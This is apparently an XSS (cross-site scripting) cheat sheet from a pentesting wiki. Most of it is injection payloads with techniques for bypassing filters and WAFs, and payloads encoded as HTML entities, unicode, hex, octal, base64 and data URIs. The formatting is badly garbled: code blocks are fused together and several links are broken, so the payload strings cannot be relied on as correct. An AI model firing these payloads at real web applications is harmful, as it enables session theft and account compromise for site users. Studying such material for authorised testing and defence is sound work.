# XSS (Cross Site Scripting)

Can you escape the tags of a HTML page, inside a **`.js`**&#x66;ile or inside an attribute using **`javascript:`** protocol:

* If reflected between tags, even if your input if inside any kind of quotes, you can try to inject and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected tag is inside the HTML code.
* If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed:
*
  * `'-alert(1)-'`
  * `';-alert(1)//`
  * `\';alert(1)//`
* If reflected inside template literals \`\` you can **embed JS expressions** using `${ ... }` syntax: `` `var greetings = ``Hello, ${alert(1)}\`\`\`

**DOM**

There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.

**WAF bypass encoding image**

![](https://gblobscdn.gitbook.com/assets%2F-L_2uGJGU7AVNRcqRvEi%2F-MA1n7PJ_N808ef30NGh%2F-MA1neKEcCyr-y3wUNAE%2FEauBb2EX0AERaNK.jpg?alt=media\&token=162e3e80-86af-4e3b-b5f2-8f86784e5d40)

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

**Injecting inside raw HTML**

When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**. For this cases also **keep in mind** [**Client Side Template Injection**](https://book.hacktricks.xyz/pentesting-web/client-side-template-injection-csti)**.** _**Note: A HTML comment can be closed using**_ _**`-->`**_ _**or**_ _**`--!>`**_

In this case and if no black/whitelisting is used, you could use payloads like:

```
<script>alert(1)</script><img src=x onerror=alert(1) /><svg onload=alert('XSS')>
```

But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create. Once you have **located which tags are allowed**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context.

Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).

If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:

**Blacklist Bypasses**

If some kind of blacklist is being used you could try to bypass it with some silly tricks:

```
<script> --> <ScrIpT><img --> <ImG<script><script><SCRscriptIPT>alert(1)</SCRscriptIPT>/%2F%0D%0C%0A%09<svg><x><script>alert('1'&#41</x><script x><script a="1234"><script ~~~><iframe SRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');" <<script>alert("XSS");<</script/script><script><input type=image src onerror="prompt(1)">onerro=alert`1`<<TexTArEaa="not"
```

**Length bypass (XSS in 20chars)**

Taken from the blog of [Jorge Lajara](https://jlajara.gitlab.io/posts/2019/11/30/XSS_20_characters.html).

```
<svg/onload=alert``><script src=<script src=
```

The last one is using 2 unicode characters which expands to 5: telsr More of these characters can be found [here](https://www.unicode.org/charts/normalization/). To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121). **More tiny XSS** payload [can be found here](https://github.com/terjanq/Tiny-XSS-Payloads).

**Weird combinations**

From [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)​

```
<svg><animate onbegin=alert() attributeName=x>svg><object data="data:text/html,"><iframe srcdoc=""><object data=javascript:alert(3)><iframe src=javascript:alert(2)><embed src=javascript:alert(1)><embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always">embed><embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==">embed>
```

**Click XSS - Clickjacking**

If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](https://book.hacktricks.xyz/pentesting-web/clickjacking#xss-clickjacking) (if the page is vulnerable).

**Impossible - Dangling Markup**

If you just think that **it's impossible to create an HTML tag with an attribute to execute JS code**, you should check [**Danglig Markup**](https://book.hacktricks.xyz/pentesting-web/dangling-markup-html-scriptless-injection) because you could **exploit** the vulnerability **without** executing **JS** code.

**Injecting inside HTML tag**

**Inside the tag/escaping from attribute value**

If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](broken-reference) to execute JS code. If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):

```
" autofocus onfocus=alert(document.domain) x="
```

**Style events**

```
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>​<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div><div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```

**Within the attribute**

Even if you **cannot escape from the attribute** (`"` is being encoded or deleted), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked. Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**

**Bypass inside event using HTML encoding/URL encode**

The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): [`';">Go Back`](http://none/)

`Note that`` `**`any kind of HTML encode is valid`**`:`

```
&apos;-alert(1)-&apos;&#x27-alert(1)-&#x27&#x00027-alert(1)-&#x00027&#39-alert(1)-&#39&#00039-alert(1)-&#00039​<a href="javascript:var a=''-alert(1)-''">
```

**`Note that URL encode will also work:`**

```
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```

**`Bypass inside event using Unicode encode`**

```
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) /><img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```

**`Bypass inside javascript:`using HTML and URL encoding**

`Your input could also by`` `**`reflected`**` ``in HTML tags that accept the protocol`` `**`javascript:`** like in these cases you can still alter the JS flow to execute arbitrary code. In this case the HTML encoding and the Unicode encoding trick from the previous section is also valid as you are inside an attribute. Moreover, there is another nice trick for these cases: Even if your input inside javascript:... is being URL encoded, it will be URL decoded before it's executed. So, if you need to escape from the string using a single quote and you see that it's being URL encoded, remember that it doesn't matter, it will be interpreted as a single quote during the execution time. Note the javascript: protocol can be used in any tag that accepts the attribute href and in most of the tags that accepts the attribute src (but not )

`Note that if you try to use both URLencode + HTMLencode in any order to encode the payload it won't work, but you can mix them inside the payload.`

`You can use`` `**`Hex`**` ``and`` `**`Octal encode`**` ``inside the src` attribute of `iframe` (at least) to declare **HTML tags to execute JS**:

```
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' /><iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />​<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /><svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```

**`Using data encoding`**

```
<object data="data:text/html,"></object><object data="data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e"></object><object data="data:text/html;charset=UTF-8,"></object><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="></object><object data="data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg"></object>
```

`From` [`here`](https://portswigger.net/research/xss-in-hidden-input-fields)`: You can execute an`` `**`XSS payload inside a hidden attribute`**`, provided you can`` `**`persuade`**` ``the`` `**`victim`**` ``into pressing the`` `**`key combination`**`. On Firefox Windows/Linux the key combination is`` `**`ALT+SHIFT+X`**` ``and on OS X it is`` `**`CTRL+ALT+X`**`. You can specify a different key combination using a different key in the access key attribute. Here is the vector:`

```
<input type="hidden" accesskey="X" onclick="alert(1)">
```

`T`**`he XSS payload will be something like this:`** **`" accesskey="x" onclick="alert(1)" x="`**

**`Blacklist Bypasses`**

`Several tricks with using different encoding were exposed already inside this section. Go`` `**`back to learn where can you use HTML encoding, Unicode encoding, URL encoding, Hex and Octal encoding and even data encoding`**`.`

**`Bypasses for HTML tags and attributes`**

`Read the` [`Blacklist Bypasses of the previous section`](broken-reference)`.`

**`Bypasses for JavaScript code`**

`Read the J`[`avaScript bypass blacklist of the following section`](broken-reference)`.`

**`Injecting inside JavaScript code`**

`In these case you`` `**`input`**` ``is going to be`` `**`reflected inside the JS code`**` ``of a .js` file or between tags or between HTML events that can execute JS code or between attributes that accepts the `javascript:` protocol.

**`Escaping` you could easily escape closing the `<script>eval('\\u'+'0061'+'lert(1)')script><<script ~~~>\u0061lert(1)script ~~~>style>scRipt><scRipt>alert(1)scRipt><img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)><svg><x><script>alert('1')x>`**
